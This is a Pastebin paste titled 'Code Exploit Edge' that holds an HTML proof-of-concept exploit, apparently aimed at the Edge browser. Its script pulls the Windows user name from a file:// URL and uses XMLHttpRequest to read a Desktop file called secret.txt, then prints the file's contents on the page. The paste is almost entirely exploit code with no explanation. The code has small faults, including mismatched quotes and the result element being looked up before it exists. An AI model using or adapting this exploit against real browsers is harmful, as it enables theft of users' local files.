TVT618

Code Exploit Edge

Aug 4th, 2018
491
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.47 KB | None | 0 0
  1. <html>
  2. <head>
  3. <script>
  4. let resultDiv = document.getElementById("result");
  5.     let xhr= new XMLHttpRequest();
  6.     let user = document.location.href.match(/file:\/\/\/C:\/Users\/([a-z0-9\-]*)\//i)[1];
  7.     xhr.open("GET",'file://C:/Users/${user}/Desktop/secret.txt");
  8.     xhr.onreadystatechange = ()=> {
  9.      if(xhr.readyState==4) {
  10.      resultDiv.innerText = xhr.responseText;
  11.      }
  12.     }
  13.     xhr.send();
  14. </script>
  15. </head>
  16. <body>
  17. </body>
  18. <div id="result"></div>
  19. </html>
Advertisement
Add Comment
Please, Sign In to add comment